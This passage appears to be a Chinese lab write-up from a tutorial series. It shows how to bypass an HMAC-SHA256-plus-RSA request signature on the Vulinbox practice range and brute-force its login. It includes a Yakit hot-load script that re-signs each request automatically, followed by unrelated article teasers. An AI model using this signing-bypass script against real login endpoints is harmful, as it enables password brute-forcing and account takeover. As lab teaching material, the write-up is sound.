当前位置：首页 > news >正文

渗透测试-前端验签绕过之SHA256+RSA

news 来源：原创 2025/6/25 18:26:00

本文是高级前端加解密与验签实战的第2篇文章，本系列文章实验靶场为Yakit里自带的Vulinbox靶场，本文讲述的是绕过SHA256+RSA签名来爆破登录。

绕过

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。

查看源代码可以看到RSA公钥是通过请求服务器获取：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

请求一下：http://127.0.0.1:8787/crypto/js/rsa/public/key ，可以看到公钥。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

SHA256密钥位置：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

Encrypt方法:

function Encrypt(word) {console.info(word);return  KEYUTIL.getKey(pubkey).encrypt(CryptoJS.HmacSHA256(word, key.toString(CryptoJS.enc.Utf8)).toString()); 
}

KEYUTIL.getKey(pubkey).encrypt是RSA1v15加密方法，在代码中可以看到先进行SHA265加密，然后再RSA加密。被加密的文本的格式同上文所示。

使用CyberChef加密：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

替换请求，可以看到签名构造成功：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

热加载

这是我写的Yakit热加载代码，通过beforeRequest劫持请求包，使用encryptData函数进行加密，getPubkey获取公钥，最终实现热加载自动签名功能。

getPubkey = func() {//通过请求动态获取公钥rsp, req = poc.HTTP(`GET /crypto/js/rsa/public/key HTTP/1.1
Host: 127.0.0.1:8787`)~body = poc.GetHTTPPacketBody(rsp) // 响应体return body
}encryptData = (packet) => {body = poc.GetHTTPPacketBody(packet)params = json.loads(body)name = params.usernamepass = params.passwordkey = "31323334313233343132333431323334"pemBytes = getPubkey() // 获取公钥signText = f`username=${name}&password=${pass}`sha256sign = codec.EncodeToHex(codec.HmacSha256(f`${codec.DecodeHex(key)~}`, signText)) // SHA256加密rsaSign = codec.EncodeToHex(codec.RSAEncryptWithPKCS1v15(pemBytes /*type: []byte*/, sha256sign)~) // RSA加密body = f`{"username":"${name}","password":"${pass}","signature":"${rsaSign}","key":"${key}"}`return string(poc.ReplaceBody(packet, body, false))
}//发送到服务端修改数据包
// beforeRequest = func(req){
//     return encryptData(req)
// }//调试用
packet = <<<TEXT
POST /crypto/sign/hmac/sha256/verify HTTP/1.1
Host: 127.0.0.1:8787
Content-Type: application/json
Content-Length: 179{"username":"admin","password":"password"}
TEXT
result = (encryptData(packet))
print(result)

这次不调试了，直接请求看看效果，成功热加载自动签名：

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

插入临时字典爆破，可以看到正确密码为admin123。

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

渗透测试-前端验签绕过之SHA256+RSA

本文是高级前端加解密与验签实战的第2篇文章，本系列文章实验靶场为Yakit里自带的Vulinbox靶场，本文讲述的是绕过SHA256RSA签名来爆破登录。绕过根据提示可以看出这次签名用了SHA2556和RSA两个技术进行加密。查看源代码可以看到RSA公钥是通过请求服务…...

编程日记 2025/6/25 18:26:00

Maven完整技术汇总

额外知识点 IDE IDE是集成开发环境的缩写，它是一种软件应用程序，提供了编码、调试和部署软件的一站式解决方案。这些功能集成在一起，使开发人员能够在一个环境中完成整个软件开发过程，从编写代码到调试和测试，直到最终…...

编程日记 2025/6/25 18:09:48

NOI系列赛事LaTeX模板

NOI系列赛事 L a T e X LaTeX LaTeX 模板照搬照抄： s y k s y k C C C syksykCCC syksykCCC 大佬写的，但是看得人不多。真的很好，比其他的板子优秀多了。现在我当一个校友搬运工，搬过来。 \documentclass[UTF8,a4paper]{ctex…...

编程日记 2025/6/23 12:15:57

JustTrustMe是什么

JustTrustMe是什么 JustTrustMe 是一个用于 Android 的 Xposed 模块，主要用于绕过应用程序的 SSL pinning（SSL 证书锁定）机制。SSL pinning 是一种安全措施，应用程序通过它来验证服务器返回的 SSL 证书是否与应用程序内置的证书匹…...

编程日记 2025/6/23 8:52:26

题解 - 工作分配

题目描述在工厂里，如果每道工序让不同的工人来做，所要花费的时间往往不一样。精明的老板为了提高效率，总是把生产某一产品所需要的N道工序进行最佳搭配，使生产某一产品所花费的总时间最少。现在就给出N个工人分别做N道工序所要花…...

编程日记 2025/6/20 13:44:32

GLM-4-Plus初体验

引言：为什么高效的内容创作如此重要？ 在当前竞争激烈的市场环境中，内容创作已成为品牌成功的重要支柱。无论是撰写营销文案、博客文章、社交媒体帖子，还是制作广告，优质的内容不仅能够帮助品牌吸引目标受众的注意力&a…...

编程日记 2025/6/22 21:59:16

【Python基础】Python知识库更新中。。。。

1、Python知识库简介现阶段主要源于个人对 Python 编程世界的强烈兴趣探索，在深入钻研 Python 核心语法、丰富库函数应用以及多样化编程范式的基础上，逐步向外拓展延伸，深度挖掘其在数据分析、人工智能、网络开发等多个前沿领域的应用潜力&…...

编程日记 2025/6/24 22:51:23

【arm】程序跑飞，SWD端口不可用修复(N32G435CBL7)

项目场景： 国民N32G43X系列，烧录了一个测试程序，在DEBUG中不知什么原因挂掉，然后就无法连接SWD或JLINK。问题描述在SWD配置中不可见芯片型号，无法connect，无法烧录。但基本判断是芯片没有损坏。怀疑是程…...

编程日记 2025/6/22 7:30:35

C++如何读取包含空格在内的整行字符串s？ ← getline(cin,s)；

【问题描述】问：请分析下面代码，在利用 cin 输入带空格的整行字符串时，会输出什么？ #include <bits/stdc.h> using namespace std;int main() {string s;cin>>s;for(int i0; i<s.size(); i) {cout<<s[i];}…...

编程日记 2025/6/19 18:51:26

活动预告 | Microsoft 365 在线技术公开课：让组织针对 Microsoft Copilot 做好准备

课程介绍通过Microsoft Learn免费参加Microsoft 365在线技术公开课，建立您需要的技能，以创造新的机会并加速您对Microsoft云技术的理解。参加我们举办的“让组织针对 Microsoft Copilot for Microsoft 365 做好准备” 在线技术公开课活动，学…...

编程日记 2025/6/21 20:36:21

tomcat被检测到目标URL存在htp host头攻击漏洞

AI越来越火了，我们想要不被淘汰就得主动拥抱。推荐一个人工智能学习网站，通俗易懂，风趣幽默，最重要的屌图甚多，忍不住分享一下给大家。点击跳转到网站 Tomcat被检测到目标URL存在http host头攻击漏洞，这个漏洞复现一下就是黑客访问你的网站，之后中修改请求头中的host属…...

编程日记 2025/6/21 1:28:30

【使用webrtc-streamer解析rtsp视频流】

webrtc-streamer WebRTC (Web Real-Time Communications) 是一项实时通讯技术，它允许网络应用或者站点，在不借助中间媒介的情况下，建立浏览器之间点对点（Peer-to-Peer）的连接，实现视频流和（或&a…...

编程日记 2025/6/23 17:04:22

【数据结构——线性表】单链表的基本运算（头歌实践教学平台习题）【合集】

目录😋 任务描述相关知识测试说明我的通关代码: 测试结果： 任务描述本关任务：编写一个程序实现单链表的基本运算。相关知识为了完成本关任务，你需要掌握：初始化线性表、销毁线性表、判定是否为空表、求线性…...

编程日记 2025/6/23 1:32:23

华为FreeBuds Pro 4丢了如何找回？(附查找功能使用方法）

华为FreeBuds Pro 4查找到底怎么用？华为FreeBuds Pro 4有星闪精确查找和离线查找，离线查找功能涵盖播放铃声、导航定位、星闪精确查找、上线通知、丢失模式、遗落提醒等。星闪精确查找是离线查找的子功能，当前仅华为FreeBuds Pro 4充电盒支持…...

编程日记 2025/6/24 23:26:53

直流开关电源技术及应用

文章目录 1. 开关电源概论1.1 开关电源稳压原理1.1.1 开关电源稳压原理 1. 开关电源概论 1.1 开关电源稳压原理为了提高效率，必须使功率调整器件处于开关工作状态。作为开关而言，导通时压降很小，几乎不消耗能量，关断时漏电流很…...

编程日记 2025/6/22 2:06:59

langchain 结构化输出

主要流程 1. 使用 Pydantic 定义结构化输出： 定义 AnswerWithJustification 类，用于描述输出的结构，包含以下字段： answer：答案内容（字符串类型）。justification：答案的理由或解释…...

编程日记 2025/6/20 13:32:34

开源Java快速自测工具，可以调用系统内任意一个方法

java快速测试框架，可以调到系统内任意一个方法，告别写单测和controller的困扰。开源地址：https://gitee.com/missyouch/Easy-JTest 我们在开发时很多时候想要测试下自己的代码，特别是service层或者是更底层的代码，就…...

编程日记 2025/6/24 13:48:32

挺详细的记录electron【V 33.2.0】打包vue3项目为可执行程序

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、直接看效果二、具体步骤 1.安装配置electron 1.将 electron 包安装到应用的开发依赖中。 2.安装electron-packager依赖（打包可执行文件&#…...

编程日记 2025/6/23 10:12:52

相比普通LED显示屏，强力巨彩软模组有哪些优势？

在科技技术的加持下，LED显示屏市场各类创新产品层出不穷，为市场带来了无限可能。其中，强力巨彩R系列H版（软模组）凭借其独特的技术优势，在行业内脱颖而出。那么，相比常规LED显示屏，强…...

编程日记 2025/6/24 17:07:50

操作系统（7）处理机调度

前言操作系统中的处理机调度是一个核心概念，它涉及如何从就绪队列中选择进程并将处理机分配给它以运行，从而实现进程的并发执行。一、调度的层次高级调度（作业调度）： 调度对象：作业（包含程序…...

编程日记 2025/6/24 8:22:08

【Spark】Spark的两种核心Shuffle工作原理详解

如果觉得这篇文章对您有帮助，别忘了点赞、分享或关注哦！您的一点小小支持，不仅能帮助更多人找到有价值的内容，还能鼓励我持续分享更多精彩的技术文章。感谢您的支持，让我们一起在技术的世界中不断进步！ Sp…...

编程日记 2025/6/22 23:49:17

10.qml使用 shadereffect 实现高斯模糊

目录高斯模糊sigma获取加权均值获取高斯二维公式实现高斯一维公式实现使用总结高斯模糊高斯模糊应用领域我就不过多讲解，想了解自己去了解高斯模糊有一维公式二维公式当然我们图像是二维的但是实际上二维公式用于计算那是消耗大量的算力的&#xff0c…...

编程日记 2025/6/25 0:00:23

2024年12月GESPC++一级真题解析

一、单选题（每题2分，共30分） 题目123456789101112131415答案 C C D B B D B C C C D C D B D 1.2024 年 10 月 8 日，诺贝尔物理学奖 “ 意外地 ” 颁给了两位计算机科学家约翰霍普菲尔德（ John J. H…...

编程日记 2025/5/31 20:49:07

Nmap脚本参数详解

免责声明：使用本教程或工具，用户必须遵守所有适用的法律和法规，并且用户应自行承担所有风险和责任。文章目录一、按脚本分类1. 检查身份验证机制2. 探测广播行为3. 登录爆破4. 默认脚本运行5. 网络资产发现6. Dos漏洞检测7. 漏洞利用8. 检…...

编程日记 2025/6/21 19:50:16

Rstudio-server的安装、配置、维护

一、安装Rstudio-server (1)安装R语言： sudo apt install r-base # 如果没有管理员权限无法操作 # 这样装上R默认在/usr/bin/R其实基本上的流程都可以参考posit的官网（也就是Rstudio的官网）： https://posit.co/download/rstudio…...

编程日记 2025/6/25 5:50:39

2024ECCV|DiffBIR: 基于生成扩散先验进行盲图像恢复

文章标题：《DiffBIR: Towards Blind Image Restoration with Generative Diffusion Prior》 DiffBIR收录于2024ECCV，是中科院深圳先进技术研究院（董超等人）、上海AI Lab和香港中文大学联合发布的一项研究。原文链接：h…...

编程日记 2025/6/24 14:32:51

前端报错npm ERR cb() never called问题

环境使用node版本v14.21.3，npm版本6.14.18 1.问题描述 1.1使用npm install后报错 npm ERR! cb() never called!npm ERR! This is an error with npm itself. Please report this error at: npm ERR! ? ? <https://npm.community>npm ERR! A complete log…...

编程日记 2025/6/24 1:47:52

SLM510A系列——24V，15到150mA单通道可调电流线性恒流LED驱动芯片

SLM510A 系列产品是单通道、高精度、可调电流线性恒流源的 LED 驱动芯片，在各种 LED 照明产品中非常简单易用。其在宽电压输入范围内，能保证极高的输出电流精度，从而在大面积的光源照明中，都能让 LED 照明亮度保持均匀一致。由于…...

编程日记 2025/6/23 8:36:04

VBA API 概述 / 声明 / 宏编程

注：本文为 “VBA API 概述 | 宏编程 | 执行速度慢” 相关文章合辑。未整理去重。 VBA API 详解 Office 二次开发于 2020-12-17 22:27:10 发布 Office 版本变动在 Office 2010 之前，微软仅提供 32-bit 版本的 Office。而自 Office 2010 起&#xff0…...

编程日记 2025/6/21 9:58:15

Python 开源项目精彩荟萃

一、Web 开发框架 Django 高效路由系统： 支持基于正则表达式的复杂 URL 模式匹配，精准定位视图函数，例如可通过r^articles/(?P<year>\d{4})/$这样的正则表达式来匹配特定年份的文章列表页面 URL，并将年份参数传递给视图函数…...

编程日记 2025/6/20 21:44:10

Debezium系列之：使用Debezium采集oceanbase数据库

Debezium系列之：使用Debezium采集oceanbase数据库一、oceanbase数据库二、安装OceanBase三、安装oblogproxy四、基于Docker的简单采集案例五、生产实际应用案例Debezium 是一个开源的分布式平台，用于监控数据库变化和捕捉数据变动事件，并以事件流的形式导出到各种消费者。D…...

编程日记 2025/6/21 10:41:51

AI初创企业的未来趋势和潜在挑战

AI初创企业的未来趋势和潜在挑战 AI初创企业的未来趋势和潜在挑战可以从多个方面进行分析： 未来趋势 AI监管: 随着AI技术的快速发展，各国政府开始制定相关法规，以确保AI的安全和伦理使用。这将影响初创企业的运营模式和市场准入。日常生活…...

编程日记 2025/6/20 12:57:35

Grafana配置告警规则推送企微机器人服务器资源告警

前提已经部署Grafana，并且dashboard接入数据大屏编号地址：Node Exporter Full | Grafana Labs 创建企微机器人备注：群里若有第三方外部人员不能创建机器人创建完成，记录下来Webhook地址 Grafana配置告警消息模板 {{ define &…...

编程日记 2025/6/25 7:45:06

RFDiffusion xyz_to_c6d函数解读

函数 xyz_to_c6d将给定的蛋白质主链坐标 (N,Cα,C)转换为 6D矩阵表示，即用以下几何特征描述两两残基之间的关系：距离 dist：残基间 Cβ 原子的欧几里得距离。二面角 omega：两个残基的 Cα−Cβ 向量之间的二面角。二面角 theta：由 N−Cα−Cβ和 Cβ间向量定义的二面角。平…...

编程日记 2025/6/24 23:57:20

#渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍01

免责声明本教程仅为合法的教学目的而准备，严禁用于任何形式的违法犯罪活动及其他商业行为，在使用本教程前，您应确保该行为符合当地的法律法规，继续阅读即表示您需自行承担所有操作的后果，如有异议，请立即停…...

编程日记 2025/6/3 11:47:11

VSCode 报错：rust-analyzer requires glibc ＞= 2.28 in latest build

报错信息 /home/jake/.vscode-server-insiders/extensions/matklad.rust-analyzer-0.3.953/server/rust-analyzer: /lib/x86_64-linux-gnu/libc.so.6: version GLIBC_2.29 not found (required by /home/jake/.vscode-server-insiders/extensions/matklad.rust-analyzer-0.3.9…...

编程日记 2025/6/25 6:23:16

绕过

热加载

相关文章：